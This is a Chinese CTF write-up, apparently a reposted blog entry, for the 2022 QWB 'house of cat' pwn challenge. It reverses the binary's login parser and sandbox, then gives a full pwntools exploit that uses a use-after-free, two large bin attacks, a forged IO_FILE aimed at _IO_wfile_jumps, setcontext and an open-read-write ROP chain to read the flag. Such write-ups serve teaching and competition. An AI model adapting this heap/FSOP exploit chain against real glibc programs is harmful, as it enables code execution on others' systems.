其他分享
首页 > 其他分享> > [PWN]强网杯2022 house of cat

[PWN]强网杯2022 house of cat

作者:互联网

IDA分析 0 一个初始化函数,然后进一个while循环,memset 一块空间往里面读入数据交给 sub_19D6 函数处理 0 初始化函数设置缓冲区,开了沙盒,然后把一个libc的地址存到bss段上,然后给变量 qword_4168 赋值为 64 0 sub_155E 函数把变量 qword_4168 的值64放到那个 libc 地址中 0 然后分配一块空间,读入数据,进到处理函数 sub_19D6 该函数如果 login 函数返回真则进入sub_1DF3 函数 0 login 函数 0 首先判断第一块空间里是否有 QWB 没有的话返回0,有的话,把 QW 去掉然后 B 换成空格 然后把first_memset用空格切割,第一块里面如果是 LOGIN 就把 second_memset + 8 的位置写上1 0 如果是DOG CAT ....就分别写上 2 3 .... 0 first_memset 中的第二块必须要有 | 否则返回0,然后把第二块的值写到 second_memset 中 第三块必须是 r00t 否则返回0,这里的v5就是QWB后面的字符串,把QWB后面的字符串+5开始写到 second_memset + 16 中1 判断 v5 中是否有 QWXF 没有返回0,有把 QWX 写为0 ,F写为空格 所以要返回 1 ,first_memset 中必须要有QWB,QWB后面得有QWXF,然后通过空格分割 first_memset 第二块要有 | 第三块是r00t 0 然后看 sub_1DF3 函数,如果 second_memset + 8 是1 即first_memset 通过空格分割第一块是LOGIN ,而且 second_memset + 16 的位置是 admin 即从 QWB 开始 + 8 位置是 admin 则 dword_4040[0] 写入1,如果 second_memset + 8是3的话进入下面的循环 所以我们先输入 LOGIN | r00t QWBQWXF admin 将 dword_4040[0]写为1 然后把LOGIN 换成 CAT 进入下面的分支 然后后会把 second_memset + 16 的位置即 从QWB 开始 +8 的位置以 $ 分割,如果是dword_4014 即 0FFFFFFFF 就进入下面的分支 所以第二次我们输入 CAT | r00t QWBQWXF $\xff\xff\xff\xff 后面的话就是一个菜单题了 menu 函数可以看出程序实现了4个功能 0 0 我们一个个看,首先是add 0 通过calloc申请堆块,能申请0xF个且大小都为large chunk大小 然后是delete 0 存在 UAF漏洞 然后是 show 0 输出0x30大小 最后是mini_edit 0 可以修改0x30大小,然后可以修改两次 0 有 UAF 又有两次 edit ,即有两次large bin attack的机会 seccomp-tools 查看沙盒 0 只允许 getrandom / open / close / mmap / brk / exit_group / read / write 系统调用,且 read的时候 fd 必须为 0 所以可以先 close(0) 然后在 open ,这样拿到的fd就是0了 我们可以第一次 large bin attack 打 stderr 然后第二次 large bin attack 打 top_chunk 的size,最终进入 _malloc_assert 然后执行相关 IO 函数     首先我们看house of cat中利用的函数 _IO_wfile_seekoff ,如果说 was_writing 是true就会进入 _IO_switch_to_wget_mode 函数执行,所以这里 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 满足这个条件之后,进入 _IO_switch_to_wget_mode 函数 0 我们进入 _IO_switch_to_wget_mode 函数看到如果满足 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 则会去执行 _IO_WOVERFLOW(fp. WEOP) 函数 0 我们来看该函数的汇编代码, 0 所以可以构造如下io_file 0 exp如下
from pwn import *
from LibcSearcher import *
from pwncli import ShellcodeMall

context.terminal = ['tmux', 'split', '-h']
# context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

binary = './house_of_cat'
ip = ''
port = 0
gs = '''
b _IO_switch_to_wget_mode
c
'''

sh = process(binary)
# sh = remote(ip, port)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('./libc.so.6')

ru = lambda x,drop = False : sh.recvuntil(x, drop)
sn = lambda x : sh.send(x)
rl = lambda : sh.recvline()
sl = lambda x : sh.sendline(x)
rv = lambda x : sh.recv(x)
sa = lambda a,b : sh.sendafter(a,b)
sla = lambda a,b : sh.sendlineafter(a,b)

def int2bytes(num):
    return str(num).encode('utf-8')
def malloc(idx, size, content):
    sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff')
    sla(b'plz input your cat choice:\n',int2bytes(1))
    sla(b'plz input your cat idx:\n',int2bytes(idx))
    sla(b'plz input your cat size:\n',int2bytes(size))
    sa(b'plz input your content:\n',content)
def edit(idx, content):
    sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff')
    sla(b'plz input your cat choice:\n', int2bytes(4))
    sla(b'plz input your cat idx:\n',int2bytes(idx))
    sa(b'plz input your content:\n', content)
def free(idx):
    sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff')
    sla(b'plz input your cat choice:\n', int2bytes(2))
    sla(b'plz input your cat idx:\n',int2bytes(idx))
def show(idx):  
    sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff')
    sla(b'plz input your cat choice:\n', int2bytes(3))
    sla(b'plz input your cat idx:\n',int2bytes(idx))

sa(b'mew mew mew~~~~~~', b'LOGIN | r00t QWBQWXF admin')


malloc(0, 0x418, b'aaaa')
malloc(1, 0x428, b'flag')
malloc(2, 0x428, b'cccc')
malloc(3, 0x418, b'dddd')
free(0)
free(2)
show(0)
rl()
libc_base = u64(rv(8)) - 0x219ce0
heap_base = u64(rv(8)) - 0xae0

log.success('libc_base ==> ' + hex(libc_base))
log.success('heap_base ==> ' + hex(heap_base))


pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_r12 = libc_base + 0x11f497
pop_rcx = libc_base + 0x8c6bb
ret = libc_base + 0x29cd6
pop_rax = libc_base + 0x45eb0

close_addr = libc_base + libc.sym['close']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

flag_addr = heap_base + 0x6c0
stderr_addr = libc_base + 0x21a860
top_chunk = heap_base + 0x31b0
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
vtable = io_wfile_jumps + 0x10
setcontext = libc_base + libc.sym['setcontext']
close=libc_base + libc.sym['close']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
syscallret=libc_base + next(libc.search(asm('syscall\nret')))
log.success('io_wfile_jumps ==> ' + hex(io_wfile_jumps))


_wide_data = heap_base + 0x1340
rdx = _wide_data + 0x100
rax2 = heap_base + 0x1780
rop11 = rdx + 0xb0

io_file = b''
io_file = io_file.ljust(0x30, b'\x00')

io_file = io_file.ljust(0x88, b'\x00')
io_file += p64(heap_base + 0x6c0 + 0x100)
io_file = io_file.ljust(0xa0, b'\x00')
io_file += p64(_wide_data)
io_file = io_file.ljust(0xd8, b'\x00')
io_file += p64(vtable)

malloc(4, 0x418, io_file[0x10:]) # IO_FILE


pay = b'ppp'
pay = pay.ljust(0x20, b'\x00')
pay += p64(rdx)
pay = pay.ljust(0xe0, b'\x00')
pay += p64(rax2)
pay = pay.ljust(0x100, b'\x00')
# =======rdx=======
pay += b'\x00' * 0xa0
pay += p64(rop11)
pay += p64(ret)
# ========rop=========
pay += p64(pop_rdi)
pay += p64(0)
pay += p64(close_addr)
pay += p64(pop_rdi)
pay += p64(flag_addr)
pay += p64(pop_rsi)
pay += p64(0)
pay += p64(pop_rax)
pay += p64(2)
pay += p64(syscallret)
pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi)
pay += p64(flag_addr)
pay += p64(pop_rdx_r12)
pay += p64(0x50)
pay += p64(0)
pay += p64(read_addr)
pay += p64(pop_rdi)
pay += p64(1)
pay += p64(write_addr)


malloc(5, 0x438, pay)   # heapbase + 0x1340
edit(2, p64(libc_base + 0x21a0d0) * 2 + p64(heap_base + 0xae0) + p64(stderr_addr - 0x20))
free(4)
malloc(6, 0x438, b'\x00' * 0x18 + p64(setcontext + 61))       # rax2

malloc(7, 0x458, b'hhhh')
malloc(8, 0x468, b'a')
malloc(9, 0x448, b'jjjj')
malloc(10, 0x468, b'a')
free(7)
malloc(11, 0x468, b'kkkk')
edit(7, p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x1bb0) + p64(top_chunk - 0x20 + 3))

free(9)

gdb.attach(sh, gs)
# pause()

sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff')
sla(b'plz input your cat choice:\n',int2bytes(1))
sla(b'plz input your cat idx:\n',int2bytes(12))
sla(b'plz input your cat size:\n',int2bytes(0x468))




sh.interactive()


'''
0x000000000002a3e5: pop rdi; ret;
0x000000000002be51: pop rsi; ret;
0x000000000011f497: pop rdx; pop r12; ret;
0x000000000008c6bb: pop rcx; ret;
0x0000000000029cd6: ret;
0x0000000000045eb0: pop rax; ret;
'''

  

   

标签:p64,libc,pay,pop,cat,强网杯,base,PWN,xff
来源: https://www.cnblogs.com/boycc1/p/16678370.html